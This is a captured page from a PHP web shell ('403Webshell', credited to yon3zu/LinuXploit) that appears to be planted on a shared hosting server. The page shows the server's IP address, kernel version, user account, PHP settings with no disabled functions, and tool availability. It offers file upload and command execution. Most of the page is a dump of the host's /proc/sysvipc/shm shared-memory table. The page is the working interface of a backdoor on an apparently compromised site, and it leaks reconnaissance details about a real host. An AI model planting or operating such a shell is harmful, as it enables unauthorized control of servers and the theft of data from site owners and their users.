403Webshell
Server IP : 198.54.126.161  /  Your IP : 216.73.217.103
Web Server : LiteSpeed
System : Linux premium12.web-hosting.com 4.18.0-553.94.1.lve.el8.x86_64 #1 SMP Thu Jan 22 12:37:22 UTC 2026 x86_64
User : amerfigf ( 898)
PHP Version : 8.2.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /proc/sysvipc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/sysvipc/shm
       key      shmid perms                  size  cpid  lpid nattch   uid   gid  cuid  cgid      atime      dtime      ctime                   rss                  swap
         0  462127104  1600                303944 4166100 457571      1   475   468   475   468 1781295243 1781295243 1779908909                307200                     0
         0  462127105  1600                325632 4166100 457571      1   475   468   475   468 1781295243 1781295243 1779908911                327680                     0
         0  462127106  1600                347328 4166100 457571      1   475   468   475   468 1781295243 1781295243 1779908913                348160                     0
      5555          3   644                  1024  3795 523245      0     0     0     0     0 1781250175 1781250175 1770811234                  4096                     0
         0  462127108  1600                369016 4166100 457571      1   475   468   475   468 1781295243 1781295243 1779908915                372736                     0
         0  462127109  1600                390704 4166100 457571      1   475   468   475   468 1781295243 1781295243 1779908917                393216                     0
         0  462127110  1600                412400 4166100 457571      1   475   468   475   468 1781295243 1781295243 1779908919                413696                     0
         0  527073287  1600                524288 3512465 3512465      2  1848  1795  1848  1795 1781295243 1781295242 1781280903                  8192                     0
         0  462127112  1600                434096 4166100 457571      1   475   468   475   468 1781295243 1781295243 1779908921                434176                     0
         0  462127114  1600                455784 4166100 457571      1   475   468   475   468 1781295243 1781295243 1779908923                458752                     0
         0  462127115  1600                477472 4166100 457571      1   475   468   475   468 1781295243 1781295243 1779908925                479232                     0
         0  462127116  1600                499168 4166100 457571      1   475   468   475   468 1781295243 1781295243 1779908927                499712                     0
         0  462127117  1600                520856 4166100 457571      1   475   468   475   468 1781295243 1781295243 1779908929                524288                     0
         0  462127118  1600                542544 4166100 457571      1   475   468   475   468 1781295243 1781295243 1779908931                544768                     0
         0  462127119  1600                564240 4166100 457571      1   475   468   475   468 1781295243 1781295243 1779908933                565248                     0
         0  462127120  1600                585936 4166100 457571      1   475   468   475   468 1781295243 1781295243 1779908935                589824                     0
         0  462127121  1600                607632 4166100 457571      1   475   468   475   468 1781295243 1781295243 1779908937                610304                     0
         0  462127122  1600                629336 4166100 457571      1   475   468   475   468 1781295243 1781295243 1779908939                630784                     0
         0  462127123  1600                651040 4166100 457571      1   475   468   475   468 1781295243 1781295243 1779908942                651264                     0
         0  462127124  1600                672744 4166100 457571      1   475   468   475   468 1781295243 1781295243 1779908944                675840                     0
         0  462127125  1600                694432 4166100 457571      1   475   468   475   468 1781295243 1781295243 1779908946                696320                     0
         0  462127126  1600                716128 4166100 457571      1   475   468   475   468 1781295243 1781295243 1779908948                716800                     0
         0  462127127  1600                737816 4166100 457571      1   475   468   475   468 1781295243 1781295243 1779908952                741376                     0
         0  462127128   600                759512 4166100 457571      2   475   468   475   468 1781295243 1781295243 1779908954                761856                     0
         0  527073305  1600                524288 3520628 457195      1  1351  1346  1351  1346 1781295239 1781295241 1781280908                  8192                     0
         0  527073312  1400                141568 2381378 44647      2   484   479     0     0 1781281076          0 1781281076                143360                     0
         0  527794214  1600                524288 452789 452790      1  2078  2025  2078  2025 1781295164 1781295177 1781295164                  8192                     0
         0  527794215  1600                524288 453070 453072      1  1848  1795  1848  1795 1781295170 1781295184 1781295170                  8192                     0
         0  527794216  1600                524288 453625 453628      1   748   745   748   745 1781295178 1781295191 1781295178                  8192                     0
         0  527794217  1600                524288 456304 456307      1  1536  1485  1536  1485 1781295220 1781295232 1781295220                  8192                     0
         0  462094382  1600                   576 4166073 457571      6   475   468   475   468 1781295243 1781295243 1779908881                  4096                     0
         0  462094383  1600               1825056 4166073 457571      6   475   468   475   468 1781295243 1781295243 1779908881               1826816                     0
         0  462094384  1600                 21744 4166100 457571      1   475   468   475   468 1781295243 1781295243 1779908883                 24576                     0
         0  462094385  1600                 43456 4166100 457571      1   475   468   475   468 1781295243 1781295243 1779908885                 45056                     0
   5432001  459505714   600                    56 78584 457248      6    26    26    26    26 1781295241 1781295241 1779858148                     0                  4096
         0  462094387  1600                 65160 4166100 457571      1   475   468   475   468 1781295243 1781295243 1779908887                 65536                     0
         0  462094388  1600                 86856 4166100 457571      1   475   468   475   468 1781295243 1781295243 1779908889                 90112                     0
         0  462094390  1600                108560 4166100 457571      1   475   468   475   468 1781295243 1781295243 1779908891                110592                     0
         0  462094391  1600                130312 4166100 457571      1   475   468   475   468 1781295243 1781295243 1779908893                131072                     0
         0  462094392  1600                152008 4166100 457571      1   475   468   475   468 1781295243 1781295243 1779908895                155648                     0
         0  462094393  1600                173712 4166100 457571      1   475   468   475   468 1781295243 1781295243 1779908897                176128                     0
         0  462094394  1600                195408 4166100 457571      1   475   468   475   468 1781295243 1781295243 1779908899                196608                     0
         0  462094396  1600                217112 4166100 457571      1   475   468   475   468 1781295243 1781295243 1779908901                221184                     0
         0  462094397  1600                238816 4166100 457571      1   475   468   475   468 1781295243 1781295243 1779908903                241664                     0
         0  462094398  1600                260544 4166100 457571      1   475   468   475   468 1781295243 1781295243 1779908905                262144                     0
         0  462094399  1600                282240 4166100 457571      1   475   468   475   468 1781295243 1781295243 1779908907                282624                     0

Youez - 2016 - github.com/yon3zu
LinuXploit